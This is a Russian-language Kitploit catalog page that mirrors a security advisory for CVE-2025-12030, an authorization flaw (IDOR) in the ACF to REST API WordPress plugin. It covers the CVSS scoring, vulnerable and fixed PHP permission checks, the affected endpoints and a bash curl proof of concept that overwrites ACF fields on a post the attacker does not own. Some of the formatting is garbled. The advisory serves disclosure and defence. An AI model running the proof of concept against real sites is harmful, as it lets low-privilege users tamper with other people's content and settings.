Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-12030 — ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) — Уязвимость безопасности, позволяющая аутентифицированным пользователям с уровнем доступа Contributor изменять поля ACF на объектах, которые им не принадлежат. | Kitploit
Инструменты/GitHubGitHub/snailsploit/cve-2025-12030
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСтатьи и ИсследованияОбучение и Образование
GitHubsnailsploit/cve-2025-12030

CVE-2025-12030

ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) — Уязвимость безопасности, позволяющая аутентифицированным пользователям с уровнем доступа Contributor изменять поля ACF на объектах, которые им не принадлежат.

Репозиторий
164 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-12030: Небезопасная прямая ссылка на объект в плагине ACF to REST API для WordPress

CVE CVSS Score WordPress Plugin CWE-639 Wordfence

Ключевые слова: CVE-2025-12030, уязвимость ACF to REST API, IDOR, безопасность WordPress, эксплойт с аутентификацией, уязвимость плагина WordPress, CWE-639, изменение полей ACF, обход авторизации, WordPress CVE 2025, Advanced Custom Fields, безопасность REST API


Содержание

  • Обзор
  • Детали уязвимости
  • Технический анализ
  • Вектор атаки
  • Доказательство концепции
  • Руководство по устранению
  • Обнаружение
  • Метрики CVSS
  • Ссылки
  • Авторы
  • Контакт для сообщений об уязвимостях

Обзор

Уязвимость IDOR в плагине ACF to REST API для WordPress (CVE-2025-12030) — недостаток безопасности, позволяющий аутентифицированным пользователям с уровнем доступа Contributor изменять поля ACF на объектах, которые им не принадлежат.

Обнаружена небезопасная прямая ссылка на объект (IDOR) в плагине ACF to REST API для WordPress, которая позволяет аутентифицированным злоумышленникам с минимальными привилегиями изменять поля ACF во всей установке WordPress.

Обнаружил: Kai Aizen (SnailSploit)
Опубликовано: 6 января 2026 г.
Оценка CVSS: 4.3 (Средний)
CWE: CWE-639 — Обход авторизации через контролируемый пользователем ключ
Плагин: ACF to REST API
Slug плагина: acf-to-rest-api
Тип атаки: Небезопасная прямая ссылка на объект (IDOR)
Требуемые привилегии: Contributor+ (Аутентифицированная атака)

Детали уязвимости

Описание

Плагин ACF to REST API для WordPress подвержен небезопасной прямой ссылке на объект во всех версиях до 3.3.4 включительно. Это связано с недостаточными проверками возможностей в методе update_item_permissions_check(), который проверяет только наличие у текущего пользователя возможности edit_posts, не проверяя права доступа к конкретному объекту (например, edit_post($id), edit_user($id), manage_options).

Воздействие

Эта уязвимость позволяет аутентифицированным злоумышленникам с уровнем доступа Contributor и выше:

  • Изменять поля AFC на чужих записях — обход ограничений владения записью
  • Изменять поля ACF в любых учётных записях пользователей — включая учётные записи администраторов
  • Изменять поля ACF в комментариях — изменять метаданные комментариев
  • Изменять поля ACF в терминах таксономии — изменять настраиваемые поля категорий/меток
  • Изменять глобальную страницу опций — доступ к общесайтовым опциям ACF без возможности manage_options

Все модификации возможны через конечные точки REST API /wp-json/acf/v3/{type}/{id}.

Затронутые версии

  • Уязвимы: Все версии ≤ 3.3.4
  • Исправлено: ⚠️ Нет доступного исправления

Метрики CVSS v3.1```

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

| Метрика | Значение |
|--------|-------|
| Вектор атаки | Сеть (AV:N) |
| Сложность атаки | Низкая (AC:L) |
| Требуемые привилегии | Низкие (PR:L) |
| Взаимодействие с пользователем | Отсутствует (UI:N) |
| Область действия | Не изменяется (S:U) |
| Конфиденциальность | Отсутствует (C:N) |
| Целостность | Низкая (I:L) |
| Доступность | Отсутствует (A:N) |

**CVSS v3.1 Расшифровка:**

- **Вектор атаки (AV):** Сеть — уязвимость может быть использована удалённо по сети
- **Сложность атаки (AC):** Низкая — для эксплуатации не требуются особые условия
- **Требуемые привилегии (PR):** Низкие — требуется аутентификация на уровне участника (Contributor)
- **Взаимодействие с пользователем (UI):** Отсутствует — эксплуатация происходит без какого-либо взаимодействия с пользователем
- **Область действия (S):** Не изменяется — уязвимость затрагивает только уязвимый компонент
- **Влияние на конфиденциальность (C):** Отсутствует — нет раскрытия информации
- **Влияние на целостность (I):** Низкое — несанкционированная модификация полей ACF
- **Влияние на доступность (A):** Отсутствует — нет влияния на доступность

## Технические детали

### Коренная причина уязвимости

Уязвимость существует в методе `update_item_permissions_check()`, который выполняет недостаточную авторизацию:```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
    // VULNERABLE: Only checks generic edit_posts capability
    if ( current_user_can( 'edit_posts' ) ) {
        return true;
    }
    return false;
}

Правильная реализация должна проверять объектно-специфические разрешения:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );

switch ( $type ) {
    case 'post':
        return current_user_can( 'edit_post', $id );
    case 'user':
        return current_user_can( 'edit_user', $id );
    case 'option':
        return current_user_can( 'manage_options' );
    // ... other object types
}
return false;

}

### Уязвимые конечные точки

| Конечная точка | Цель | Требуемая возможность (должна быть) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | Записи | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | Страницы | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | Пользователи | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | Комментарии | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | Термины | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | Настройки | `manage_options` |

### Вектор атаки```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json

{
    "fields": {
        "field_name": "malicious_value"
    }
}

Уязвимость может быть использована через WordPress REST API любым аутентифицированным пользователем с ролью не ниже Contributor.

Доказательство концепции

⚠️ Только для образовательных и авторизованных целей тестирования

Bash PoC```bash

#!/bin/bash

CVE-2025-12030 PoC - ACF to REST API IDOR

TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"

if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi

echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""

Encode credentials

AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)

Step 1: Read current ACF fields (verify access)

echo "[*] Step 1: Reading current ACF fields..." curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool

echo ""

Step 2: Attempt to modify ACF fields on post we don't own

echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..." RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
-H "Content-Type: application/json"
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')

echo "$RESPONSE" | python3 -m json.tool

Скачать инструмент